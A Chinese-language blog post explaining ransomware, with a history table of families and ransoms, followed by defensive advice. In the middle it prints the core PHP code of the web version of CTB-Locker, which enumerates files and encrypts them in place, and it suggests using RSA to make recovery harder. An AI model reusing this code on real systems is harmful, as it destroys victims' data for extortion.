安全路漫漫-勒索软件

今天说说当今互联网的第一安全刚需: “勒索软件业务”.


首先什么是勒索软件? 下面是度娘的解释:

勒索软件是黑客用来劫持用户资产或资源并以此为条件向用户勒索钱财的一种恶意软件。勒索软件通常会将用户系统上文档、邮件、数据库、源代码、图片、压缩文件等多种文件进行某种形式的加密操作,使之不可用,或者通过修改系统配置文件、干扰用户正常使用系统的方法使系统的可用性降低,然后通过弹出窗口、对话框或生成文本文件等的方式向用户发出勒索通知,要求用户向指定帐户汇款来获得解密文件的密码或者获得恢复系统正常运行的方法。

简而言之:
“我给你家的保险柜外再加了一层我的保险柜. 要开? 没问题, 拿钱来. 有钱有密码. 我就让你 HHH…”

你呢, 只有三个选择:

  • 交钱拿密码(能不能拿到就看运气了, 不过目前黑产的信誉度还是不错的)
  • 不交钱(恩, 你比较厉害, 只是几个T的种子而已, 不怕不怕…)
  • 垂死挣扎(某些情况可行, 不过时间就是金钱, 能耗的起的可以试试)

99%的人或多或少都”垂死挣扎”过. 不过在FBI都认栽之后, 大家也就都认命了.


那勒索软件这些年的战绩到底如何呢?

时间 软件名 赎金 相关信息
1989 PC Cyborg 378$ Joseph Popp 博士的 PC Cyborg 特洛伊木马程序;首次出现于 1989 年。这种特洛伊木马程序是透过软盘复制的,而那些软盘则是在一场 AIDS 研讨会中散发的。执行之后,它会修改系统的 AUTOEXEC.BAT 文件来监控电脑开机了几次。然后在系统第 90 次开机时,它会将系统中所有文件重新命名。接着透过充满威胁的“使用者授权合约 (EULA)”,告知遭到感染的使用者,必须支付给 PC Cyborg Corporation。
2005 TROJ_PGPCODER.A 200$ 想打开你电脑中的文件吗?听从指示汇给我200美金,收到钱后你会拿到解码程序” 这是2005年TROJ_PGPCODER.A 木马病毒,在受害者电脑中的留言。TROJ_PGPCODER.A 勒索木马采用目前网络钓鱼和间谍程序常用的手法,在浏览网站时,趁机安装潜入受害电脑。这也是第一只被命名为“恶意勒索程序 (ransomware)”的病毒;该程序会挟持文件予以加密以便勒索,然后留下勒索信息,亦即一个 README.TXT 文件
2006 TROJ_CRYZIP.A 300$ TROJ_CRYZIP.A 会将文件压缩成有密码保护的 .ZIP 文件夹,并强迫受感染的使用者将 300 美元存入特定的 e-gold 帐户。
2006 TROJ_RANSOM.A 10.99$ 它也会锁住电脑系统,但要求比较少的赎金 10.99 美元。不同的地方在于,它每隔 30 分钟宣称一次,除非支付赎金,否则就删除文件。
2006 TROJ_ARCHIVEUS.A 75 这个特洛伊木马程序非常不寻常,因为它会复制“我的文档”文件夹之下的所有文件,并将它们放在一个名为 EncryptedFiles.ALS 的文件中。然后它宣称会删除原始文件,之后,它会要求受感染的使用者到一个俄罗斯线上药局购买 75 元的东西,才能获得解密金钥。
2007 TSPY_KOLLAH.F 300$ 它会绑架文件当人质。它也宣称要使用 RSA-4096 演算法来加密那些文件。它会留下 README.TXT 文件当作勒索信息,告知使用者购买价值 300 美元的软件,才能将他们的文件解密
2007 TROJ_GPCODE.AB 150 会将文件加密,并留下勒索信息 (README.ASAP.TXT)。然后使用者要被迫购买 150 元的软件,才能将自己的文件解密
2008 Trojan[Ransom]/Win32.FakeAV 金额不等 2008年左右开始在国外开始流行的勒索软件家族。该恶意代码家族的界面内容为英文,专门仿冒反病毒软件
2012 REVETON 金额不等 REVETON会假冒当地警察,让用户以为自己做了什么违法的事,然后发出带有当地执法机关标志的勒索通知,进行威胁。其受害者遍及欧洲和美国。REVETON家族还会通过遭到入侵的网站来散布,这一点也是勒索软件新增的特点。
2013 Cryptolocker 200$-3000$ 它并不锁定电脑屏幕,也不会中断计算机的启动进程,而是对包括“.doc”、“.xls”和“.exe”等在内的大多数类型的个人文件进行加密,然后攻击者要求用户支付通常为200美元和3000美元不等的比特币作为赎金,以换取文件的解密密钥。
2014 TROJ_CRYPTRBIT.H 金额不等 与以往勒索软件不同的是它使用数字货币比特币来支付。之后又陆续出现各种不同的“进化”,例如有的变种会窃取受害者的比特币钱包;有的变种会使用黑暗网络浏览器来隐藏自己的行踪;而最新的变种会将用户诱导至钓鱼网站来感染用户设备。 $
2014-2015 CoinVault,TeslaCrypt,Pacman,TOX,Chimera,Cryptowall… 金额不等 勒索软件无疑已经形成了一套完善的地下产业, 整个商业模式不断”推陈出新”, 甚至推出了”勒索即服务”的平台. 洗钱难度越来越低, 技术成本和犯罪成本几乎趋近于0, 同时被害者的不可抗性趋近于无限大。

来几张靓照:
祝愿你们永远别碰到它们!!!

CoinVault
CoinVault.jpg

CryptoLocker
CryptoLocker.jpg

cryptowall
cryptowall-3-bitcoin.png

CTB-Locker
CTB-Locker.jpg

Reveton
ransomware_reveton.png


这么恐怖的软件实现难度很高吗?

答案是: NO

让我们通过一款开源勒索软件,来简单了解下他们实现原理.
Win32/Critroni (CTB-Locker) - Web version

CTB-Locker-PHP-1.jpg CTB-Locker-PHP-2.jpg

只要将脚本上传到任意支持PHP的服务器上, 再传入加密密钥(这里为了演示, 直接用GET传递密钥, 实际情况可以用各种方法来避免加密密钥出现在访问日志中), 即可加密当前目录下的所有子文件夹内的特定文件(比如有价值的doc和数据库文件).

CTB-Locker-PHP-3.jpg

轻轻松松访问一次, 即可永久加密你的重要文件, 如果没有解密密钥, 这台服务器上的重要文件就都废了.

下面看看其核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
//========================获取加密密钥=========================
if (isset($_REQUEST['submit'])) {
if (!file_exists('victims.txt') || file_get_contents('victims.txt') === '') {
$extensions = explode(' ', file_get_contents('extensions.txt'));
//获取所有指定后缀的文件名列表, 同时排除特定的文件.
$victims = get_files('.', $extensions, 80*1024*1024, 'enc_excluded');
$victims = array_slice($victims, 0, 4000);
//记录加密过的文件
file_put_contents('victims.txt', implode("\n", $victims));
} else {
$victims = explode("\n", file_get_contents("victims.txt"));
}
//使用提交的密钥参数, 开始加密之前列表中的所有文件.
encrypt_files($victims, $_REQUEST['submit'], $_REQUEST['submit2']);
exit("ALL_HAD_DONE");
}


....


//漂亮文件加密函数. 对传递进来的 文件名列表 files 中的所有文件, 使用 $keypass密钥进行逐个加密
function encrypt_files($files, $keypass, $keytest) {
$allenc = file_exists('allenc.txt') ? explode("\n", file_get_contents('allenc.txt')) : array();

if (!file_exists('test.txt') || file_get_contents('test.txt') === '') {
echo 'getting test files\n';
$cipher = create_aes_cipher($keytest);
$test_files = $files;
shuffle($test_files);
$test_files = array_splice($test_files, 0, 2);
foreach ($test_files as $victim) {
crypt_file($victim, $cipher, 1);
file_put_contents('test.txt', $victim."\n", FILE_APPEND);
}
} else {
$test_files = explode("\n", file_get_contents('test.txt'));
}

$cipher = create_aes_cipher($keypass);
foreach ($files as $victim) {
if (!in_array($victim, $allenc) && !in_array($victim, $test_files)) {
//调用加密函数, 对单个文件进行加密
crypt_file($victim, $cipher, 1);
file_put_contents('allenc.txt', $victim."\n", FILE_APPEND);
}
}
}

...

//单文件加密函数
function crypt_file($fname, $cipher, $encrypt, $chunklen=10240) {
echo "crypt_file $fname ";
$chunklen *= 16;
$size = filesize($fname);
$file = @fopen($fname, 'r+');
if ($file === false) {
echo "FAILED\n";
return;
}
$seek = 0;
$eof = false;
$cipher->disablePadding();
$tm = time();
//循环读取所有文件内容加密, 再写回原文件
while (!$eof || (time() - $tm > 10)) {
@fseek($file, $seek);
$chunk = @fread($file, $chunklen);
$eof = $seek + strlen($chunk) >= $size; #feof($file);
if ($eof) {
//echo "eof<br>";
$cipher->enablePadding();
}
$crypted = $encrypt ? $cipher->encrypt($chunk) : $cipher->decrypt($chunk);
@fseek($file, $seek);
@fwrite($file, $crypted);
$seek += strlen($crypted);
//echo "Seek read: $seek, readed: ".strlen($chunk)." after crypt: ".strlen($crypted)."<br>";
}
ftruncate($file, $seek);
echo "OK truncated: $seek\n";
@fclose($file);
}

本套代码使用的加密算法是AES对称加密算法
加密解密用的是同一套密钥.
当然稍加修改, 你也能使用RSA这类更加”安全“的非对称类加密算法。 这样就算日志中抓到了密钥, 也于事无补了。 除非使用”黑科技”否则基本就是歇菜的节奏。

有趣的是, 越来越多的勒索软件, 渐渐开始注重其售后服务和市场运作, 大部分被感染的文件指示中都包含了详细的交流方法, 甚至实时聊天界面。

在勒索软件大行其道的今天, 我们不禁唏嘘:还有什么比伤痛能更好的制造安全刚需呢?!


勒索软件为何这么凶!!!

  1. 技术上无解,保护人们安全的加密算法成了一柄双刃剑, 在你知道密码的时候,他是你的守护神,在你不知道密码的时候,它是就是你的”紧箍咒”.
  2. 人不好抓,通过”暗网”和”虚拟货币”, 攻击者可以轻松的拜托法律监管,轻而易举的将赎金收入囊中。
  3. 扩散迅速, 通过针对性的操作系统漏洞或者网站漏洞,攻击者可以毫无顾忌的大范围散播勒索软件, 当然更加老练的攻击者会通过社工手段,进行定向攻击,以获取更丰厚的赎金. 试想你收到一份hr发来的"**调薪通告**", 你会不看看?。

“刀”有了, “路”有了, “对象”也有了. 这种包赚不赔的生意,在hacker看来没有不做的理由。


那问题来了

企业怎么办?

  1. 建立安全运维标准, 启动安全部署流程. 所有的线上更新都要遵循”三方通汇原则(程序员->leader->运维)”, 运维和leader共同为线上部署流程负责. 禁止一切先部署后通汇的行为。一般的企业可以搭建自己的自动化运维平台,在任何线上数据变更之前, 由leader和运维共同验证通过(手机短信).
  2. 架构分离, 前后端分离, 运维架构和业务架构分离. 避免跨权行为. 该推送的推送, 该降权的降权.
  3. 及时备份, 关键数据要备份, 关键数据要备份, 关键数据要备份(重要的事情说N遍)

    hou.jpg
  4. 监控响应, 及时监控进程行为, 和大范围的异常读写操作. 保留操作缓存, 特定文件去除写权限(这招很有用).

  5. 防窜改系统, 懒人首选, 后面会有专门的文章介绍.

个人怎么办?

  1. 公私分明, 笔者曾经看到一位仁兄笔记本上挂10多个数据库磁盘的映射. 最后还都被加密了. 我TMYSRLG了. 最后这兄弟。。。就没最后了。。。
  2. 注意身心健康, 对说的就是你电脑, 陌生邮件不看, 减少使用桌面版邮件客户端(各种漏洞). 安装必要的防护软件. 所有陌生人的文件都用沙盒运行.

可悲的和可幸的

互联网安全的发展史就是一篇血淋林的黑暗史. 在弱肉强食的网络空间里. 只有bit和money, 伴随着每一种新型攻击技术的兴起以及地下产业链的成熟, 都会让人们对网络安全的需求达到一个新的高度. 可以预见随着个体攻防实力愈发的不对等,将会有新的平台和机构承担起基础网络安全需求的重任. 而不管今天你有没有被侵害, 只要你稍加疏忽, 你明天必将”万劫不复”. 互联网不相信眼泪.

相关链接

跟多相关新闻
解析勒索软件ransomware的发展历程
回看2015:那些让人心悸的勒索软件